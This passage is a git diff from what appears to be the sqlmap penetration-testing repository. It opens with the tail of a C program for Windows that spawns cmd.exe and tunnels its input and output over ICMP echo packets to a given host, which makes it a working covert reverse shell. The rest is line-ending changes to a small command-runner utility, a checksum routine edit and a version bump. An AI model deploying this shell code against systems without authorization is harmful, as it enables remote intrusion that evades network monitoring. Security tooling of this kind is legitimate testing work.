}
|
||||
|
||||
// spawn process
|
||||
memset(&si, 0x00, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = out_write;
|
||||
si.hStdOutput = out_write;
|
||||
si.hStdInput = in_read;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
CloseHandle(out_write);
|
||||
CloseHandle(in_read);
|
||||
|
||||
return STATUS_OK;
|
||||
}
|
||||
|
||||
void usage(char *path)
|
||||
{
|
||||
printf("%s [options] -t target\n", path);
|
||||
printf("options:\n");
|
||||
printf(" -t host host ip address to send ping requests to\n");
|
||||
printf(" -r send a single test icmp request and then quit\n");
|
||||
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
|
||||
printf(" -o milliseconds timeout in milliseconds\n");
|
||||
printf(" -h this screen\n");
|
||||
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
|
||||
printf(" before quitting\n");
|
||||
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
|
||||
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
|
||||
printf("increase the size (-s) of the data buffer\n");
|
||||
}
|
||||
|
||||
void create_icmp_channel(HANDLE *icmp_chan)
|
||||
{
|
||||
// create icmp file
|
||||
*icmp_chan = (HANDLE) icmp_create();
|
||||
}
|
||||
|
||||
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
|
||||
{
|
||||
int rs;
|
||||
char *temp_in_buf;
|
||||
int nbytes;
|
||||
|
||||
PICMP_ECHO_REPLY echo_reply;
|
||||
|
||||
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!temp_in_buf) {
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
// send data to remote host
|
||||
rs = icmp_send(
|
||||
icmp_chan,
|
||||
target,
|
||||
out_buf,
|
||||
out_buf_size,
|
||||
NULL,
|
||||
temp_in_buf,
|
||||
max_in_data_size + ICMP_HEADERS_SIZE,
|
||||
timeout);
|
||||
|
||||
// check received data
|
||||
if (rs > 0) {
|
||||
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
|
||||
if (echo_reply->DataSize > max_in_data_size) {
|
||||
nbytes = max_in_data_size;
|
||||
} else {
|
||||
nbytes = echo_reply->DataSize;
|
||||
}
|
||||
memcpy(in_buf, echo_reply->Data, nbytes);
|
||||
*in_buf_size = nbytes;
|
||||
|
||||
free(temp_in_buf);
|
||||
return TRANSFER_SUCCESS;
|
||||
}
|
||||
|
||||
free(temp_in_buf);
|
||||
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
int load_deps()
|
||||
{
|
||||
HMODULE lib;
|
||||
|
||||
lib = LoadLibraryA("ws2_32.dll");
|
||||
if (lib != NULL) {
|
||||
to_ip = GetProcAddress(lib, "inet_addr");
|
||||
if (!to_ip) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("iphlpapi.dll");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("ICMP.DLL");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("failed to load functions (%u)", GetLastError());
|
||||
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int opt;
|
||||
char *target;
|
||||
unsigned int delay, timeout;
|
||||
unsigned int ip_addr;
|
||||
HANDLE pipe_read, pipe_write;
|
||||
HANDLE icmp_chan;
|
||||
unsigned char *in_buf, *out_buf;
|
||||
unsigned int in_buf_size, out_buf_size;
|
||||
DWORD rs;
|
||||
int blanks, max_blanks;
|
||||
PROCESS_INFORMATION pi;
|
||||
int status;
|
||||
unsigned int max_data_size;
|
||||
|
||||
// set defaults
|
||||
target = 0;
|
||||
timeout = DEFAULT_TIMEOUT;
|
||||
delay = DEFAULT_DELAY;
|
||||
max_blanks = DEFAULT_MAX_BLANKS;
|
||||
max_data_size = DEFAULT_MAX_DATA_SIZE;
|
||||
|
||||
status = STATUS_OK;
|
||||
if (!load_deps()) {
|
||||
printf("failed to load ICMP library\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// parse command line options
|
||||
for (opt = 1; opt < argc; opt++) {
|
||||
if (argv[opt][0] == '-') {
|
||||
switch(argv[opt][1]) {
|
||||
case 'h':
|
||||
usage(*argv);
|
||||
return 0;
|
||||
case 't':
|
||||
if (opt + 1 < argc) {
|
||||
target = argv[opt + 1];
|
||||
}
|
||||
break;
|
||||
case 'd':
|
||||
if (opt + 1 < argc) {
|
||||
delay = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'o':
|
||||
if (opt + 1 < argc) {
|
||||
timeout = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'r':
|
||||
status = STATUS_SINGLE;
|
||||
break;
|
||||
case 'b':
|
||||
if (opt + 1 < argc) {
|
||||
max_blanks = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 's':
|
||||
if (opt + 1 < argc) {
|
||||
max_data_size = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf("unrecognized option -%c\n", argv[1][0]);
|
||||
usage(*argv);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
printf("you need to specify a host with -t. Try -h for more options\n");
|
||||
return -1;
|
||||
}
|
||||
ip_addr = to_ip(target);
|
||||
|
||||
// don't spawn a shell if we're only sending a single test request
|
||||
if (status != STATUS_SINGLE) {
|
||||
status = spawn_shell(&pi, &pipe_read, &pipe_write);
|
||||
}
|
||||
|
||||
// create icmp channel
|
||||
create_icmp_channel(&icmp_chan);
|
||||
if (icmp_chan == INVALID_HANDLE_VALUE) {
|
||||
printf("unable to create ICMP file: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// allocate transfer buffers
|
||||
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!in_buf || !out_buf) {
|
||||
printf("failed to allocate memory for transfer buffers\n");
|
||||
return -1;
|
||||
}
|
||||
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
|
||||
// sending/receiving loop
|
||||
blanks = 0;
|
||||
do {
|
||||
|
||||
switch(status) {
|
||||
case STATUS_SINGLE:
|
||||
// reply with a static string
|
||||
out_buf_size = sprintf(out_buf, "Test1234\n");
|
||||
break;
|
||||
case STATUS_PROCESS_NOT_CREATED:
|
||||
// reply with error message
|
||||
out_buf_size = sprintf(out_buf, "Process was not created\n");
|
||||
break;
|
||||
default:
|
||||
// read data from process via pipe
|
||||
out_buf_size = 0;
|
||||
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
|
||||
if (out_buf_size > 0) {
|
||||
out_buf_size = 0;
|
||||
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
|
||||
if (!rs && GetLastError() != ERROR_IO_PENDING) {
|
||||
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// send request/receive response
|
||||
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
|
||||
if (status == STATUS_OK) {
|
||||
// write data from response back into pipe
|
||||
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
|
||||
}
|
||||
blanks = 0;
|
||||
} else {
|
||||
// no reply received or error occured
|
||||
blanks++;
|
||||
}
|
||||
|
||||
// wait between requests
|
||||
Sleep(delay);
|
||||
|
||||
} while (status == STATUS_OK && blanks < max_blanks);
|
||||
|
||||
if (status == STATUS_OK) {
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
|
|
|||
Binary file not shown.
|
|
@ -1,46 +1,46 @@
|
|||
/*
|
||||
runcmd - a program for running command prompt commands
|
||||
Copyright (C) 2010 Miroslav Stampar
|
||||
email: miroslav.stampar@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <use_ansi.h>
|
||||
#include "stdafx.h"
|
||||
#include <string>
|
||||
|
||||
using namespace std;
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
FILE *fp;
|
||||
string cmd;
|
||||
|
||||
for( int count = 1; count < argc; count++ )
|
||||
cmd += " " + string(argv[count]);
|
||||
|
||||
fp = _popen(cmd.c_str(), "r");
|
||||
|
||||
if (fp != NULL) {
|
||||
char buffer[BUFSIZ];
|
||||
|
||||
while (fgets(buffer, sizeof buffer, fp) != NULL)
|
||||
fputs(buffer, stdout);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
/*
|
||||
runcmd - a program for running command prompt commands
|
||||
Copyright (C) 2010 Miroslav Stampar
|
||||
email: miroslav.stampar@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <use_ansi.h>
|
||||
#include "stdafx.h"
|
||||
#include <string>
|
||||
|
||||
using namespace std;
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
FILE *fp;
|
||||
string cmd;
|
||||
|
||||
for( int count = 1; count < argc; count++ )
|
||||
cmd += " " + string(argv[count]);
|
||||
|
||||
fp = _popen(cmd.c_str(), "r");
|
||||
|
||||
if (fp != NULL) {
|
||||
char buffer[BUFSIZ];
|
||||
|
||||
while (fgets(buffer, sizeof buffer, fp) != NULL)
|
||||
fputs(buffer, stdout);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
|
|||
Binary file not shown.
|
|
@ -1,8 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// runcmd.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// runcmd.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
|
|
|
|||
|
|
@ -1,17 +1,17 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
|
||||
#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
|
||||
#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
|
|
|
|||
|
|
@ -5639,10 +5639,9 @@ def checkSums():
|
|||
continue
|
||||
with open(filepath, "rb") as f:
|
||||
content = f.read()
|
||||
if b"\r\n" in content and b"sqlmap" in content:
|
||||
if b'\0' not in content:
|
||||
content = content.replace(b"\r\n", b"\n")
|
||||
if not hashlib.sha256(content).hexdigest() == expected:
|
||||
retVal &= False
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.1.81"
|
||||
VERSION = "1.10.1.82"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
Loading…
Reference in New Issue
Block a user